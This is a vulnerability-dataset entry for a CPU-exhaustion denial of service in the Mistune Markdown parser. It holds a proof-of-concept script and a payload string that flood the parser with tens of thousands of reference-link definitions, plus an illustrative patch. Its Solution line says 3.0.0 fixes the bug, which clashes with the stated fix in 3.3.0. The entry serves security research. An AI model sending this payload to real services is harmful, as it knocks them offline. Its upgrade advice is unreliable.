CVE-2026-59928
Mistune vulnerable to DoS via CPU exhaustion in reference link parsing.
- CVSS 7.5
- CWE-407
- Resource Management
- Remote
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, a Markdown document containing many repeated or distinct reference-link definitions causes quadratic work in src/mistune/block_parser.py and the ref_links environment dictionary handling, allowing denial of service through CPU exhaustion. This issue is fixed in version 3.3.0.
- CWE
- CWE-407
- CVSS base score
- 7.5
- Published
- 2026-07-08
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Algorithm
- Code defect classification
- Incorrect Algorithm
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- Mistune
- Fixed by upgrading
- Yes
Solution
Upgrade to Mistune version 3.0.0 or later.
Vulnerable code sample
import mistune
import time
# This code requires a vulnerable version of mistune, e.g., 'pip install mistune==2.0.4'
# On a fixed version (>=3.3.0), this will execute quickly.
# On a vulnerable version, it will be extremely slow, demonstrating the DoS.
print("Preparing payload...")
# A large number of reference-style link definitions to trigger the N^2 complexity.
num_definitions = 30000
payload = "\n".join([f"[{i}]: /url{i}" for i in range(num_definitions)])
print(f"Payload with {num_definitions} definitions created.")
print("Calling mistune.html()... this may take a long time on vulnerable versions.")
start_time = time.time()
# The function call that triggers the vulnerability
mistune.html(payload)
end_time = time.time()
print(f"Execution finished in {end_time - start_time:.2f} seconds.")Patched code sample
import re
# This regex simulates the pattern matching for a reference-style link definition
# e.g., [key]: /url "title"
REF_LINK_PATTERN = re.compile(
r'^ {0,3}\[([^\]]+)\]:' # [key]:
r'[ \t]*' # optional whitespace
r'<?([^\s>]+)>?' # <url> or url
r'(?:[ \t]+' # optional title
r'(?:"([^"]+)"|\'([^\']+)\'|\(([^\)]+)\)))?'
r'[ \t]*$'
)
def parse_reference_definitions_fixed(text: str, state: dict):
"""
Efficiently parse a block of text for reference-link definitions.
This function represents the logic of the patched Mistune version. The
vulnerability (CVE-2026-59928) was caused by quadratic complexity when
handling a large number of link definitions.
The fix is to process each line only once and use efficient dictionary
operations (which are O(1) on average) to store the results. By checking
`if key not in ref_links` before adding, we ensure that only the first
definition for a given key is used, and we avoid any repeated, expensive
work that would lead to a Denial of Service.
"""
ref_links = state.setdefault("ref_links", {})
lines = text.split('\n')
for line in lines:
match = REF_LINK_PATTERN.match(line)
if match:
key = match.group(1).lower().strip()
# The efficient fix: only add the key if it's not already defined.
# Dictionary lookups (`in`) and assignments are O(1) on average,
# making the overall algorithm O(N) for N lines.
if key not in ref_links:
url = match.group(2)
# Use the first non-None title group
title = match.group(3) or match.group(4) or match.group(5)
ref_links[key] = (url, title)
return statePayload
"\n".join([f"[{i}]: a" for i in range(50000)])
Cite this entry
@misc{vaitp:cve202659928,
title = {{Mistune vulnerable to DoS via CPU exhaustion in reference link parsing.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-59928},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-59928/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
